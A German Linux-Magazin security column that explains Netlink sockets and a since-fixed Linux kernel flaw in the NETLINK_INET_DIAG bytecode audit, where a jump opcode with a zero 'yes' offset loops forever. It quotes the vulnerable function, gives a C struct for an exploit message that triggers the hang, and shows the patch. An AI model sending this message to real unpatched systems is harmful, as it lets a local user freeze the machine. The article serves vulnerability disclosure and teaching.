Linux-Kernel: Endlosschleife mit Netlink-Opcodes
Netlink ist eine Socket-basierte Schnittstelle zur IPC-Kommunikation zwischen User- und Kernelspace von Linux. Eine kürzlich entdeckte Schwachstelle in der darüber bereitgestellten Netzwerk-Monitor-Funktion führt dazu, dass ein lokaler Angreifer das System zum Stillstand bringen kann.
Für Userspace-Programme gibt es zahlreiche Möglichkeiten, mit dem Kernel zu kommunizieren: System Calls, Ioctl sowie das "/proc"-Dateisystem. Aber die Verständigung der zwei Welten ist auch mit Hilfe von Netlink-Sockets möglich. Sockets bieten dabei einige Vorzüge: asynchrone Kommunikation (via Message-Queue), Multicast (Nachrichten an verschiedene Prozesse in einem Rutsch versenden), Duplex-Nachrichten (kein ständiges Polling notwendig). Außerdem besitzen die meisten Entwickler Erfahrung mit Socket-Programmierung, so dass die Lernkurve ist flach ist. Ein Netlink-Socket lässt sich wie jeder andere Socket auch erzeugen:
int socket(int domain, int type, int protocol)
Als Domain gibt der Programmierer "AF_NETLINK" an (statt "AF_INET" oder "AF_INET6", wie für IPv4 und IPv6 üblich). Beim Socket-Typ muss er beachten, dass es sich bei Netlink-IPC um einen Datagramm-orientierten Dienst handelt, und entsprechend "SOCK_DGRAM" als Typ verwenden, wobei auch "SOCK_RAW" funktioniert. Daneben muss das System noch wissen, zu welchem Dienst der Userspace-Prozess eine Verbindung aufbauen soll. Hierzu stehen verschiedene durch "protocol" spezifizierte Netlink-Module zur Verfügung. Beispielsweise kann er via "NETLINK_FIREWALL" mit der Kernel-Firewall kommunizieren oder mit "NETLINK_SELINUX" nach speziellen SE-Linux-Benachrichtigungen lauschen. Unter der Vielzahl dieser Optionen befindet sich auch "NETLINK_INET_DIAG", die sich für das Monitoring von INET-Sockets eignet. Nach Erzeugung des Sockets muss der Entwickler diesen mit
int bind(int sockfd, const struct sockaddr *my_addr, socklen_t addrlen)
einer lokalen Socket-Adresse zuordnen, ähnlich wie dies für gewöhnliche UDP/TCP-IP-Sockets auch geschieht, wobei er folgende spezielle Struktur für die Kodierung der Adresse verwendet:
struct sockaddr_nl {
sa_family_t nl_family; /* AF_NETLINK */
unsigned short nl_pad; /* Zero. */
pid_t nl_pid; /* Process ID. */
__u32 nl_groups; /* Multicast groups mask. */
};
Anscließend übergibt er die Struktur per "(struct sockaddr*)"-Cast als Argument an "bind()". In das Feld "pid_t" kann er beim Aufruf mit "bind()" die PID des Prozesses schreiben (Vorsicht bei Threading!), und "nl_groups" dient zum Behandeln von Multicast-Gruppen (0 für Unicast).
Nun lassen sich Nachrichten zwischen dem Kernel und Prozess (oder unter beliebigen Prozessen) austauschen, wobei die anderen Prozesse jeweils mit einer "sockaddr_nl"-Struktur adressiert werden und der Kernel die PID 0 trägt. Diese Struktur wird dann in die Nachrichtenstruktur "struct msghdr" geschrieben.
Aufgrund der Datagramm-Kommunikation muss der Programmierer jeder Netlink-Nachricht einen eigenen Header verpassen:
struct nlmsghdr
{
__u32 nlmsg_len; /* Length of message */
__u16 nlmsg_type; /* Message type*/
__u16 nlmsg_flags; /* Additional flags */
__u32 nlmsg_seq; /* Sequence number */
__u32 nlmsg_pid; /* Sending process PID */
};
Das Flag-Feld erlaubt es, die Nachrichten genauer zu spezifizieren. Die eigentlichen Daten und der "nlmsghdr" werden dann in die Nachrichtenstruktur gepackt und anschließend mit "sendmsg()" and den Kernel gesendet. Der Kernel selbst implementiert das Netlink-API in "net/core/af_netlink.c", und jede Komponente des Kernels kann sich daran bedienen. Das Ganze ist leicht erweiterbar, so dass ein Entwickler auch zügig eigene Netlink-Protokolle zum Kernel kann.
Die Netlink-Nachrichten des Userspace werden von Callback-Funktionen abgefangen und verarbeitet. Das Handling von "NETLINK_INET_DIAG" geschieht in der Quelltextdatei "net/ipv4/inet_diag.c", die den Socket zum Userspace folgendermaßen anlegt:
netlink_kernel_create(&init_net, NETLINK_INET_DIAG, 0,inet_diag_rcv, NULL, THIS_MODULE);
Das Interface "NETLINK_INET_DIAG" dient zum Überwachen von INET-Transport-Socket-Verbindungen. Oft ist die Userspace-Applikation nur an bestimmten Daten interessiert und möchte die INET-Daten nach Adresse oder Port filtern. Es wäre also praktisch, wenn die Applikation dem Kernel Filterrregeln mitteilen könnte. Darum wurde in "inet_diag.c" ein einfacher Bytecode-Interpreter eingebaut, der ähnlich wie ein primitiver Assembler einfache Opcodes versteht. Diese Opcodes werden in der Struktur "inet_diag_bc_op" kodiert:
/* Bytecode is sequence of 4 byte commands followed by variable arguments.
* All the commands identified by "code" are conditional jumps forward:
* to offset cc+"yes" or to offset cc+"no". "yes" is supposed to be
* length of the command and its arguments.
*/
struct inet_diag_bc_op {
unsigned char code;
unsigned char yes;
unsigned short no;
};
Wie der Kommentar schon andeutet, ist "code" der eigentliche Opcode und "yes" und "no" sind Sprungadressen. Die Zahl verfügbarer Opcodes ist sehr klein (siehe "inet_diag.h"), aber ausreichend für einfache Filterregeln. Beispiele für diese Opcodes sind: "INET_DIAG_BC_NOP" für keine Operation, "INET_DIAG_BC_JMP" für einen Sprung oder "INET_DIAG_BC_S_COND"/"INET_DIAG_BC_D_COND" für Source/Destination-Bedingungen, womit die Filterung möglich ist. Das Überprüfen und Ausführen des Bytecodes geschieht in einfachen While-Schleife, die sukzessive alle Opcodes abarbeitet. Dazu gibt es zwei Funktionen in "inet_diag.c", die für das Prüfen ("inet_diag_bc_audit") und Ausführen ("inet_diag_bc_run") der Bytecodes verantwortlich sind.
Und hier hat sich nun eine Sicherheitslücke in die Prüffunktion eingeschlichen:
static int inet_diag_bc_audit(const void *bytecode, int bytecode_len)
{
const unsigned char *bc = bytecode;
int len = bytecode_len;
while (len > 0) {
struct inet_diag_bc_op *op = (struct inet_diag_bc_op *)bc;
switch (op->code) {
case INET_DIAG_BC_AUTO:
case INET_DIAG_BC_S_COND:
case INET_DIAG_BC_D_COND:
case INET_DIAG_BC_S_GE:
case INET_DIAG_BC_S_LE:
case INET_DIAG_BC_D_GE:
case INET_DIAG_BC_D_LE:
if (op->yes < 4 || op->yes > len + 4)
return -EINVAL;
case INET_DIAG_BC_JMP:
if (op->no < 4 || op->no > len + 4)
return -EINVAL;
if (op->no < len &&
!valid_cc(bytecode, bytecode_len, len - op->no))
return -EINVAL;
break;
case INET_DIAG_BC_NOP:
if (op->yes < 4 || op->yes > len + 4)
return -EINVAL;
break;
default:
return -EINVAL;
}
bc += op->yes;
len -= op->yes;
}
return len == 0 ? 0 : -EINVAL;
}
In dieser fehlerhaften Version ist zunächst gut zu erkennen, wie die einzelnen Befehle abgearbeitet werden, und auch dass die Zahl verfügbarer Opcodes gering ist. Ein geschultes Auge bemerkt hier zudem ein Problem: Ist "Opcode=INET_DIAG_BC_JMP" und "yes=0", so terminiert die While-Schleife einfach nie, denn es kommt weder zu einem Return noch wird die verbleibende Bytecode-Länge in "len" reduziert. Das Problem: Für "INET_DIAG_BC_JMP" ist nicht sichergestellt, dass "yes" mindestens die Größe eines "inet_diag_bc_op"-Eintrags, also 4 Bytes haben muss. Auf Systemen, auf denen Netlink verfügbar ist, kann somit ein lokaler Angreifer den Kernel in eine Endlosschleife bringen und somit das System zum Stillstand bringen.
Eine Exploit-Nachricht könnte folgerndermaßen konstruiert werden:
struct {
struct nlmsghdr nlh;
struct inet_diag_req r;
struct rtattr a1
__rta_align;
struct inet_diag_bc_op loop
__rta_align;
} req = {
.nlh.nlmsg_type = TCPDIAG_GETSOCK,
.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST,
.r.idiag_family = AF_INET,
.r.idiag_states = -1,
.a1 = { RTA_LENGTH(sizeof req.loop), INET_DIAG_REQ_BYTECODE},
.loop = {
.code = INET_DIAG_BC_JMP,
.yes = 0,
.no = sizeof (req.loop)
}
};
Der Fehler wurde am 1. Juni gemeldet und am 17. Juni im Git-Repository des Kernels korrigiert, wobei hauptsächlich folgende Zeilen zur Audit-Funktion hinzugefügt wurden:
if (op->yes < 4 || op->yes > len + 4 || op->yes & 3) return -EINVAL;
Damit wird sichergestellt, dass keine Endlosschleife mehr auftreten kann.
Alle Rezensionen aus dem Linux-Magazin
- Buecher/07 Bücher über 3-D-Programmierung sowie die Sprache Dart
- Buecher/06 Bücher über Map-Reduce und über die Sprache Erlang
- Buecher/05 Bücher über Scala und über Suchmaschinen-Optimierung
- Buecher/04 Bücher über Metasploit sowie über Erlang/OTP
- Buecher/03 Bücher über die LPI-Level-2-Zertifizierung
- Buecher/02 Bücher über Node.js und über nebenläufige Programmierung
- Buecher/01 Bücher über Linux-HA sowie über PHP-Webprogrammierung
- Buecher/12 Bücher über HTML-5-Apps sowie Computer Vision mit Python
- Buecher/11 Bücher über Statistik sowie über C++-Metaprogrammierung
- Buecher/10 Bücher zu PHP-Webbots sowie zur Emacs-Programmierung
Insecurity Bulletin
Im Insecurity Bulletin widmet sich Mark Vogelsberger aktuellen Sicherheitslücken sowie Hintergründen und Security-Grundlagen. mehr...


